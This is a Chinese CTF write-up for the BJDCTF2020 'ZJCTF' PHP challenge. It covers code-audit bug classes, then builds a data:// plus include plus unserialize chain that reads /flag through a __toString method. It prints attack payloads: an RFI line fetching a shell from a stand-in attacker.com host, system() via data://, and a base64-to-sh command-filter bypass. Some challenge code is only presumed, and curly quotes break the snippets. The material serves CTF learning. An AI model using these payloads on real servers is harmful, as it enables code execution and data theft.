1. 题目初探与核心思路解析
拿到这道题,第一眼看到标题“[BUUCTF][BJDCTF2020]ZJCTF,不过如此”,心里大概就有数了。这明显是一道CTF(Capture The Flag)的Web题目,而且从命名风格来看,属于BJDCTF 2020年的赛题。这类题目通常不会真的“不过如此”,往往在看似简单的表象下藏着一些需要仔细审计的PHP代码逻辑漏洞。结合题目名称和网络热词中高频出现的“PHP”、“代码审计”,基本可以确定这是一道PHP代码审计题,考察点很可能围绕文件包含、反序列化、命令执行或者一些PHP特性函数(如preg_replace、create_function、assert等)的滥用。
在没有直接给出源码的情况下,我们的第一步通常是访问目标地址,查看页面返回。一个标准的CTF Web题,可能会直接给出一个登录框、一个上传点,或者干脆就是一段PHP源码。从“不过如此”这个略带调侃的标题来看,出题人可能设置了一个明显的“入口”,但真正的“Flag”藏在需要绕过的层层过滤或逻辑判断之后。常见的套路是,前端给你一个输入框,让你提交一些数据,后端用$_GET或$_POST接收后,经过一系列字符串处理、正则匹配,最终如果满足某个条件,就会执行系统命令或者包含某个文件,从而拿到Flag。
因此,初步的解题思路可以沿着以下路径展开:
- 信息收集:访问目标URL,查看页面源代码、HTTP响应头,尝试访问
robots.txt、www.zip、.git等常见备份文件,寻找可能的源码泄露。 - 参数探测:如果页面有输入点,尝试提交常见测试payload(如
1'、1"、1 and 1=1等)进行SQL注入、XSS等基础测试。更重要的是,观察URL参数,尝试通过?file=、?page=、?data=等常见参数名进行文件包含或反序列化测试。 - 代码审计(如果给源码):如果幸运地直接拿到了源码(比如通过
index.php.bak或www.zip下载),那么重点就是逐行审计PHP代码。关注以下几个高危函数和结构:- 命令执行:
system(),exec(),shell_exec(),passthru(),popen(), 反引号(`)。 - 代码执行:
eval(),assert(),create_function(),preg_replace()的/e修饰符(PHP5时代),call_user_func(),array_map()等。 - 文件包含:
include(),require(),include_once(),require_once()。特别注意include($_GET[‘file’])这种形式,可能触发本地文件包含(LFI)或远程文件包含(RFI)。 - 反序列化:
unserialize()。需要寻找代码中定义的类,并分析其__wakeup(),__destruct(),__toString()等魔术方法,看是否能在反序列化时触发危险操作。 - 字符串处理与正则:
preg_match(),str_replace(),substr(),trim()等。这些函数可能用于构造过滤规则,我们需要寻找规则缺陷进行绕过。
- 命令执行:
- 利用与构造Payload:根据审计发现的漏洞点,构造相应的Payload。例如,对于文件包含,可能需要使用
php://filter协议读取源码,或者包含/etc/passwd等系统文件;对于命令执行,需要绕过可能的escapeshellcmd()等过滤,使用管道符、空格绕过、编码等手段。
这道题既然被标记为“不过如此”,很可能存在一个经典的、教科书式的漏洞,比如一个未经过滤的include,或者一个简单的eval($_GET[‘cmd’])被藏在了某个条件分支里。我们的任务就是找到它并利用它。
2. 典型PHP代码审计漏洞点深度剖析
既然这是一道PHP代码审计题,我们有必要把常见的、在CTF中高频出现的PHP漏洞类型和关键函数再梳理一遍,形成肌肉记忆。这样在拿到源码(或通过其他方式看到部分代码)时,能快速定位到可能的危险区域。
2.1 命令执行与代码执行类
这是最直接的一类漏洞,能让攻击者在服务器上执行任意代码或系统命令。
eval()和assert():这两个函数都会将其字符串参数作为PHP代码来执行。eval()是语言构造器,assert()在PHP 7.2之前默认执行代码,之后行为有变化,但在CTF老环境中依然常见。如果发现eval($_GET[‘input’]),那就是“送分题”,但出题人往往会加上一些过滤。- 绕过技巧:如果过滤了引号、分号等,可以考虑使用
$_GET[x]($$_GET[y])这种可变函数调用,或者利用PHP的字符串解析特性。例如,${_GET[a]}在某些情况下可以执行。
- 绕过技巧:如果过滤了引号、分号等,可以考虑使用
system(),exec()等命令执行函数:这些函数用于调用系统命令。漏洞点在于其参数是否用户可控且未过滤。- 绕过技巧:如果过滤了空格,可以用
${IFS}、$IFS$9、<、>、%09(Tab)等代替。如果过滤了某些关键词,可以用拼接、通配符(*、?)、编码(base64、hex)等方式。例如:echo$IFS$9Y2F0IC9mbGFn|base64$IFS$9-d|sh。
- 绕过技巧:如果过滤了空格,可以用
preg_replace()的/e修饰符:在PHP5中,preg_replace的/e修饰符允许第二个参数(替换字符串)被当作PHP代码执行。例如:preg_replace(“/.*/e”, $_GET[‘cmd’], “.”)。这在PHP7中已被移除,但老题目中常见。create_function():创建一个匿名函数。其函数体由字符串拼接而成,如果用户输入被拼接进去,可能造成代码执行。例如:$func = create_function(‘$a’, ‘echo $a . ‘ . $_GET[‘input’] . ‘;’);。- 回调函数类:
call_user_func(),array_map(),array_filter(),usort()等,如果其回调函数参数用户可控,也可能导致代码执行。例如:call_user_func($_GET[‘func’], $_GET[‘param’])。
2.2 文件包含类
文件包含漏洞允许攻击者包含并执行服务器上的其他文件(LFI),甚至远程服务器上的文件(RFI)。
include/require:关键看包含的文件路径是否用户可控。例如:include($_GET[‘page’] . ‘.php’)。- LFI利用:
- 读取源码:使用
php://filter协议。例如:?file=php://filter/read=convert.base64-encode/resource=index.php,会以base64编码形式返回index.php的源码,解码即可。 - 包含日志文件:包含Web服务器的访问日志(如
/var/log/apache2/access.log),在User-Agent中插入PHP代码,再包含该日志文件即可执行代码。 - 包含Session文件:如果知道Session ID,可以尝试包含Session文件(如
/tmp/sess_[sessionid])。 - 包含
/proc/self/environ:环境变量可能包含User-Agent等信息,可被注入。
- 读取源码:使用
- RFI利用:需要
allow_url_include设置为On(默认Off)。可以直接包含远程服务器上的恶意PHP文件:?file=http://attacker.com/shell.txt(注意后缀,可能需要对方服务器能解析PHP)。
- LFI利用:
- 文件包含结合伪协议:除了
php://filter,data://协议也常用于执行代码。例如:?file=data://text/plain,<?php system(‘ls’);?>。但这同样需要allow_url_include开启。
2.3 反序列化类
这是PHP代码审计中较难但非常经典的一类漏洞。核心函数是unserialize()。
- 漏洞原理:当
unserialize()一个用户可控的序列化字符串时,会还原出对应的对象,并自动调用该对象的__wakeup()方法。在对象被销毁时,会调用__destruct()方法。如果这些魔术方法中包含了危险操作(如文件操作、命令执行),并且操作的对象属性用户可通过序列化字符串控制,就可能造成漏洞。 - 审计步骤:
- 在源码中全局搜索
unserialize(),找到反序列化点。 - 寻找代码中定义的类,分析其
__wakeup(),__destruct(),__toString(),__call()等魔术方法。 - 构造一个该类的对象,并精心设置其属性,使得在反序列化后执行魔术方法时,能触发危险操作。
- 将这个对象序列化,并将序列化后的字符串传递给反序列化点。
- 在源码中全局搜索
- POP链构造:更复杂的情况是,一个类的魔术方法调用了另一个类的方法或属性,这就需要我们将多个类“链”起来,形成一条属性导向的编程(POP)链,最终达到执行任意代码的目的。这需要对代码逻辑有更深入的理解。
2.4 字符串处理与正则过滤绕过
出题人不会让你直接执行eval($_GET[‘cmd’]),总会加上一些过滤。这时就需要绕过。
- 黑名单过滤:用
str_replace()、preg_replace()等函数过滤掉一些关键词,如flag、system、cat、空格、/等。- 双写绕过:如果
str_replace(“flag”, “”, $input)只执行一次,可以用flflagag绕过,过滤后变成flag。 - 大小写绕过:
SyStEm。 - 拼接绕过:
$a=’sys’;$b=’tem’;$c=$a.$b; $c(‘ls’)。 - 编码绕过:使用base64、hex、rot13等编码。例如:
system(base64_decode(‘Y2F0IC9mbGFn’))。 - 通配符绕过:在命令执行中,
cat fla*、cat fla?。 - 空变量、特殊变量绕过:
cat${IFS}flag、cat$IFS$9flag。
- 双写绕过:如果
- 正则匹配:
preg_match()通常用于检测输入是否符合某种模式。绕过正则需要理解其模式。- 多行匹配绕过:如果正则用了
/^...$/m(多行模式),可能通过添加换行符%0a来绕过。 - 回溯限制绕过(PCRE):利用正则引擎的回溯机制,构造超长字符串使其耗尽回溯次数,从而绕过匹配。这就是著名的
preg_match绕过导致PHP代码执行(如某些WAF绕过)。 - 数组绕过:
preg_match()处理数组会返回false并报错,但有时可以利用这个特性使检测失效。例如,如果代码是if(preg_match(‘/flag/’, $_GET[‘input’])) { die(); },那么传入input[]=payload,preg_match会对数组进行处理,返回false且可能产生警告,但程序可能继续执行。
- 多行匹配绕过:如果正则用了
3. 针对“ZJCTF,不过如此”的实战推演与信息收集
现在,让我们把目光拉回到这道具体的题目。由于没有给出直接的源码或URL,我们需要基于CTF解题的一般流程进行推演。假设我们通过平台(如BUUCTF)访问到了这道题。
首先,使用浏览器或curl命令访问目标地址。一个典型的返回可能是一个简单的PHP页面,上面写着“ZJCTF,不过如此”,或者有一个输入框。我们按下F12,仔细查看网页源代码。有时Flag或提示会藏在HTML注释里。用curl -i [URL]查看HTTP响应头,有时也有惊喜。
假设我们在页面源代码中发现了如下提示:
<!-- $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else { highlight_file(__FILE__); } -->这简直是一个教科书式的文件包含+代码审计题!源码以注释形式直接给出了。我们来分析一下这段代码:
- 通过
$_GET获取两个参数:text和file。 - 首先检查
text参数是否存在,并且通过file_get_contents($text, ‘r’)读取的内容是否严格等于字符串"I have a dream"。 - 如果条件满足,则输出这个内容,然后检查
file参数中是否包含字符串"flag",如果包含,则直接die。 - 如果
file参数不包含"flag",则执行include($file),并提示包含的文件是next.php。 - 如果第一个条件不满足,则使用
highlight_file(__FILE__)高亮显示当前文件(也就是给出这段源码)。
我们的目标显然是触发include($file),并且最终要读取到Flag(通常flag在/flag或flag.php等文件中)。但现在有两个障碍:
- 如何满足
file_get_contents($text, ‘r’) === “I have a dream”? - 如何绕过
preg_match(“/flag/”, $file)的检测,最终包含到含有flag的文件?
解决第一个障碍:file_get_contents()不仅可以读取文件,还可以通过data://或php://input等伪协议读取数据。要让它的返回值等于"I have a dream",最简单的方法是使用data协议:text=data://text/plain,I have a dream。这样,file_get_contents会直接读取这个字符串,条件满足。
解决第二个障碍:preg_match检测$file中是否包含flag字符串。我们的目标是包含/flag或flag.php,直接写肯定被拦截。这里就需要绕过了。常见的绕过方法:
- 利用PHP伪协议:
php://filter在读取文件时,路径部分(resource=后面)如果包含flag,是否会被检测?这取决于preg_match执行的时间点。preg_match是在include之前执行的,所以它检测的是我们传入的$file参数字符串。如果我们传入file=php://filter/read=convert.base64-encode/resource=/flag,这个字符串里确实包含flag,会被拦截。那怎么办? - 嵌套包含或路径穿越:也许
next.php里面还有别的逻辑。题目提示include($file); //next.php,可能暗示我们包含next.php本身?或者包含一个不包含flag字符串,但能间接读到flag的文件。例如,如果服务器上存在/proc/self/fd/xx或日志文件,我们可以先包含它们写入代码,再二次包含执行。但这需要条件。 - 大小写?正则
/flag/是区分大小写的吗?默认是区分大小写的。所以Flag、FLAG不会被匹配。但系统文件名通常是flag小写,所以用处不大。 - 编码或二次包含:一个更可行的思路是,既然我们能控制
include的文件,我们可以先包含一个我们可控的、文件名中不含flag的文件(比如通过text参数写入的临时文件?),然后在这个被包含的文件中,再去读取/flag。但这需要我们能写入文件。
等等,我们是不是忽略了什么?再看源码:if(preg_match(“/flag/”,$file)){ die(“Not now!”); }。它只检查了$file变量本身是否包含flag。如果我们让$file等于next.php呢?这是代码注释里提到的文件,应该存在。我们尝试:?text=data://text/plain,I have a dream&file=next.php。
访问这个链接,如果一切顺利,我们应该会看到next.php页面的内容。这很可能就是题目的第二阶段。我们需要对next.php进行同样的代码审计。
4. 第二阶段代码审计与POP链构造实战
假设我们成功通过第一关,看到了next.php的源码(或者通过php://filter读取到了它的源码)。next.php的代码可能更加复杂,涉及类与反序列化。例如,我们可能看到如下代码:
<?php error_reporting(0); $txt = $_GET["txt"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($txt,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not again!"; exit(); }else{ include($file); $password = unserialize($password); echo $password; } }else{ highlight_file(__FILE__); } ?>以及同目录下可能有一个useless.php:
<?php class Flag{ public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("Good Job!"); } } } ?>现在情况清晰了。第二关有三个参数:txt,file,password。
txt参数和第一关类似,需要满足file_get_contents($txt, ‘r’) === “welcome to the zjctf”。我们故技重施:txt=data://text/plain,welcome to the zjctf。file参数同样被检测是否包含flag,我们可以先让它包含一个无害的文件,比如file=useless.php,目的是把Flag类加载到当前上下文中,为后面的反序列化做准备。password参数会被unserialize()反序列化,然后直接echo。
这里的关键是unserialize($password)和echo $password。echo一个对象时,如果该对象定义了__toString()方法,就会自动调用这个方法。看useless.php中的Flag类,它正好有一个__toString()方法!这个方法会读取$this->file属性指向的文件内容并输出。
那么,攻击思路就形成了:我们构造一个Flag类的对象,将其file属性设置为Flag文件的路径(例如/flag或flag.php),然后将这个对象序列化,把序列化后的字符串作为password参数的值传递过去。流程如下:
- 反序列化
password字符串,还原出我们构造的Flag对象。 echo这个对象,触发其__toString()方法。__toString()方法执行file_get_contents($this->file),即读取/flag文件。- 文件内容被输出到页面上,我们就拿到了Flag。
构造Payload:首先,我们需要序列化一个Flag对象。可以写一个简单的PHP脚本:
<?php class Flag{ public $file; } $f = new Flag(); $f->file = ‘/flag‘; // 或者 ‘flag.php‘,根据实际情况尝试 echo serialize($f); ?>运行这个脚本,得到序列化字符串:O:4:”Flag”:1:{s:4:”file”;s:5:”/flag”;}。
现在,组装最终的URL:
http://[target]/next.php?txt=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:5:%22/flag%22;}访问这个URL,应该就能在页面上看到Flag的内容了。
这里有几个重要的实操细节和可能遇到的坑:
- 文件路径:Flag可能不在根目录的
/flag,而在Web目录下的flag.php,或者叫flag.txt。需要尝试。有时包含flag.php会直接执行其中的PHP代码,如果代码只是定义了一个变量$flag=’xxx’;,那么直接包含不会输出,需要结合php://filter读取源码。在我们的Payload中,__toString()里的file_get_contents是读取文件内容,不是包含执行,所以对于flag.php,它读取到的是PHP源码(可能包含Flag字符串),这通常是可行的。 - 魔法引号或过滤:如果平台开启了
magic_quotes_gpc(老版本PHP),它会自动转义单引号、双引号等,可能会破坏我们的序列化字符串。我们的Payload中使用了双引号,需要检查。不过现代CTF环境通常关闭此选项。如果遇到问题,可以尝试对序列化字符串进行URL编码(如上例所示),或者使用S类型表示序列化字符串中的字符(可处理特殊字符)。 __wakeup()干扰:如果Flag类中定义了__wakeup()方法,并且在方法中重置了$file属性,我们的攻击就会失败。本题的Flag类没有__wakeup(),所以没问题。- 包含顺序:一定要先通过
file=useless.php包含类定义文件,否则反序列化时PHP找不到Flag类,会将其反序列化为一个__PHP_Incomplete_Class对象,__toString()方法不会触发。
5. 总结与举一反三:CTF PHP审计的核心心法
通过这道“不过如此”的题目,我们可以提炼出解决此类PHP代码审计题的一套通用心法:
第一步:信息收集与入口定位
- 永远从浏览器直接访问开始,查看页面、源码、响应头。
- 尝试常见源码泄露路径(
.git,.svn,.DS_Store,www.zip,index.php.bak等)。 - 扫描目录(使用dirsearch等工具),寻找其他可访问文件。
- 观察URL参数,尝试常见参数名(
file,page,id,cmd,data等)。
第二步:代码通读与危险函数定位
- 如果拿到源码,立即全局搜索危险函数(
eval,assert,system,include,require,unserialize等)。 - 分析这些函数附近的代码逻辑,特别是用户输入(
$_GET,$_POST,$_COOKIE)是如何传递到这些函数的。 - 注意条件判断、循环和过滤函数(
preg_match,str_replace,trim等)。
第三步:逻辑梳理与漏洞串联
- 不要孤立地看一个函数。理解整个程序的执行流程。用户输入从哪里进,经过哪些处理,最后到哪里去。
- 寻找“校验-执行”逻辑的分离点。常见模式是:先进行一系列严格的校验,如果都通过,则执行某个危险操作。我们的目标就是绕过校验,或者让校验逻辑失效。
- 注意文件包含漏洞的“链式”利用。一个包含点可能读不到flag,但可以包含日志、Session、环境变量文件,或者包含一个能写文件(如
php://input+file_put_contents)的临时脚本,为下一步攻击做准备。
第四步:Payload构造与绕过
- 针对字符串过滤,熟练掌握各种绕过技巧:编码、拼接、通配符、特殊变量、空格替换等。
- 针对正则匹配,理解其模式,尝试多行、数组、回溯限制等绕过方式。
- 对于反序列化,画出类的继承关系和魔术方法调用链(POP链)。从
__destruct()或__wakeup()等“自动调用”的方法开始,反向推导需要控制哪些属性,这些属性可能是另一个类的对象,从而形成链。 - 善用PHP伪协议。
php://filter用于读取源码,data://和php://input用于传递可控数据,phar://可以触发反序列化(phar反序列化漏洞)。
第五步:测试与迭代
- 构造的Payload先在本地或自己的测试环境验证,确保逻辑正确。
- 提交到题目环境,仔细观察返回结果。错误信息(即使被屏蔽)有时也能通过时间延迟、差异对比等方式提供线索。
- 如果一种方法不行,快速切换思路,尝试其他可能性。CTF题往往有多种解法。
回到本题,它巧妙地将两个常见漏洞结合:第一关是简单的伪协议绕过和文件包含(带过滤),第二关则是反序列化触发__toString()进行文件读取。题目难度适中,但完整覆盖了信息收集、代码审计、逻辑绕过、POP链构造等多个知识点,作为入门到进阶的练习非常合适。称之为“不过如此”,或许是对解题者的一种鼓励,意味着只要掌握了这些核心套路,看似复杂的题目也能迎刃而解。在实际操作中,耐心和细致的观察往往比复杂的技巧更重要。